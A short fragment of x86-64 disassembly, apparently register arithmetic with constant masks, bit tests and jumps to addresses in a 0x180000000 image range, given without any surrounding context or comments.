add edi, 0x9a8d1e59
add ecx, 0xefe19ed9
xor ebx, esi
add ebx, ecx
add ebx, eax
and ebx, 0x4000
je 0x1800025ad
xor ecx, 0x9a0b6cb4
add edi, 0xf6b20533
sub eax, 0xbe95d25a
ror ecx, 0xf
add ebx, edx
add ebx, eax
add ebx, esi
and ebx, 0x20000
je 0x18000a2e0
sub edi, 0xf645e135
rol edi, 0xe
rol eax, 4
jmp 0x180001cae